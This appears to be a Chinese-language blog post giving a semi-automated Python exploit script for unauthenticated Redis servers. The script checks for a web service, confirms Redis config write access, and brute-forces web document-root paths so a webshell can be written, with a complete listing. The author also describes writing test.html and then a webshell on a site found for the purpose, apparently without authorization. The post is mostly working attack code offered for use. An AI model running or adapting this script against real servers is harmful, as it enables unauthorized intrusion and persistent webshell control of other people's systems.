前两篇文章介绍了两种直接root权限getshell的方式,这里介绍通过写入webpage来得到shell的半自动化脚本.
前两篇文章介绍了两种直接root权限getshell的方式,这里介绍通过写入webpage来得到shell的半自动化脚本.
脚本的意义是将误报的可能性降到最低,发现目标并简化手工操作.
利用流程
1 通过redis未授权访问漏洞,向redis插入一条记录,内容是一句话木马或其他webshell
2 找到web绝对路径,写入webshell
3 菜刀或其它
半自动化exp逻辑
半自动的原因是最后写入的webshell需要手工控制.
脚本会顺序检查以下必要条件:
1 判断该主机是否存在web服务
2 判断该主机是否存在Redis未授权访问漏洞
3 判断用户是否有修改Redis配置的权限
4 爆破web绝对路径
5 判断用户在web路径是否有写权限
如果这些检查顺利通过,将目标返回给渗透测试人员并手工写入webshell
show me the code
判断web服务
for web_port in [80, 443, 8080, 8443]: # 判断web服务
if checkPortTcp(ip, web_port):
try:
real_url = redirectURL(ip + ':' + str(web_port))
except Exception:
real_url = ip + ':' + str(web_port)
break # TODO 这里简单化处理,只返回了一个端口的结果
else:
return False
判断Redis未授权访问,并检查各种exp必需的操作是否能正常执行. 简单化处理,用root用户来保证对web目录的写入权限
try:
r = redis.Redis(host=ip, port=port, db=0, socket_timeout=5)
if 'redis_version' not in r.info(): # 判断未授权访问
return False
key = randomString(5)
value = randomString(5)
r.set(key, value) # 判断可写
r.config_set('dir', '/root/') # 判断对/var/www的写入权限(目前先判断为root)
r.config_set('dbfilename', 'dump.rdb') # 判断操作权限
r.delete(key)
r.save() # 判断可导出
except Exception, e:
return False
爆破web服务的绝对路径
path_list = []
for each in ABSPATH_PREFIXES.LINUX:
try:
r.config_set('dir', each.rstrip('/'))
path_list.append(each)
for suffix in ABSPATH_SUFFIXES:
try:
r.config_set('dir', suffix.rstrip('/'))
path_list.append(each.rstrip('/') + '/' + suffix)
except Exception:
continue
except Exception:
continue
其中爆破的字典提取自sqlmap
class ABSPATH_PREFIXES:
LINUX = (
"/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24",
"/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/vhosts",
"/var/www/virtual", "/var/www/clients/vhosts", "/var/www/clients/virtual")
WINDOWS = (
"/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache",
"/Program Files/Apache Group/Apache",
"/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2",
"/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot",
"/Inetpub/vhosts")
ALL = LINUX + WINDOWS
# Suffixes used in brute force search for web server document root
ABSPATH_SUFFIXES = (
"html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all",
"www/build")
完整代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author = [email protected]
# project = https://github.com/Xyntax/POC-T
"""
redis getshell expliot (/var/spool/cron reverse shell)
检查Redis未授权访问->检查是否存在web服务->检查exp必需的权限和功能->枚举绝对路径->输出结果供手工测试
"""
import redis
from plugin.util import host2IP
from plugin.util import randomString
from plugin.util import redirectURL
from plugin.util import checkPortTcp
from plugin.static import ABSPATH_PREFIXES, ABSPATH_SUFFIXES
def poc(url):
url = host2IP(url)
ip = url.split(':')[0]
port = int(url.split(':')[-1]) if ':' in url else 6379
for web_port in [80, 443, 8080, 8443]: # 判断web服务
if checkPortTcp(ip, web_port):
try:
real_url = redirectURL(ip + ':' + str(web_port))
except Exception:
real_url = ip + ':' + str(web_port)
break # TODO 这里简单化处理,只返回了一个端口的结果
else:
return False
try:
r = redis.Redis(host=ip, port=port, db=0, socket_timeout=5)
if 'redis_version' not in r.info(): # 判断未授权访问
return False
key = randomString(5)
value = randomString(5)
r.set(key, value) # 判断可写
r.config_set('dir', '/root/') # 判断对/var/www的写入权限(目前先判断为root)
r.config_set('dbfilename', 'dump.rdb') # 判断操作权限
r.delete(key)
r.save() # 判断可导出
except Exception, e:
return False
# 枚举绝对路径
path_list = []
for each in ABSPATH_PREFIXES.LINUX:
try:
r.config_set('dir', each.rstrip('/'))
path_list.append(each)
for suffix in ABSPATH_SUFFIXES:
try:
r.config_set('dir', suffix.rstrip('/'))
path_list.append(each.rstrip('/') + '/' + suffix)
except Exception:
continue
except Exception:
continue
if len(path_list):
return real_url + ' ' + ' '.join(path_list)
else:
return False
测试
找一个站,写入test.html看看效果 访问test.html 看来没有问题,继续写入webshell 注:图中间那个save打错,其实没有必要
完成